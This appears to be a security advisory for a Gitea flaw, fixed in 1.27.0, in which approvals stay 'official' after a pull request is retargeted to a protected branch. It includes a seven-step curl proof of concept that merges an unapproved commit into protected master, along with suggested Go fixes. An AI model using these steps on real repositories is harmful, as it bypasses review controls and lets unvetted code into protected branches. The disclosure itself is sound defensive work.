| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| code.gitea.io/gitea | < 1.27.0mọi phiên bản | 1.27.0 |
Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.
1.25.4+41-g96515c0f20)When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.
When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:
pr.BaseBranchBut it does not:
official on existing reviewsAt merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean — it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.
services/pull/review.go:SubmitReview calls IsOfficialReviewer against the current pr.BaseBranch's protection rules, stores official=true/falseservices/pull/pull.go:ChangeTargetBranch modifies pr.BaseBranch but does not touch existing reviewsBạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíservices/pull/check.go:CheckPullMergeablemodels/issues/pull.go:GetGrantedApprovalsCountofficial=trueThe attacker needs:
The attacker does not need:
Repository owner/repo with branch master protected:
admin-reviewerattacker has write access but is not in the approval whitelistBASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user
# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch
# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{
"head": "malicious-branch",
"base": "tmp-unprotected",
"title": "Add feature"
}'
# Returns PR #N
# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ACCOMPLICE_AUTH" \
-H "Content-Type: application/json" \
-d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true
# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"base": "master"}'
# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false
# 7. Merge — succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"do": "merge"}'
# Returns 200 OK — malicious commit is now on master
Step 4 — Approval on unprotected branch:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}
Step 6 — Same approval after retarget to protected master:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}
The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.
Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:
// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
IssueID: pr.IssueID,
Type: issues_model.ReviewTypeApprove,
})
if err != nil {
return err
}
newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
return err
}
for _, review := range reviews {
wasOfficial := review.Official
if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
} else {
review.Official = false
}
if wasOfficial != review.Official {
if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
return err
}
}
}
Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):
// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
IssueID: pr.IssueID,
Message: "Dismissed: PR target branch changed",
}); err != nil {
return err
}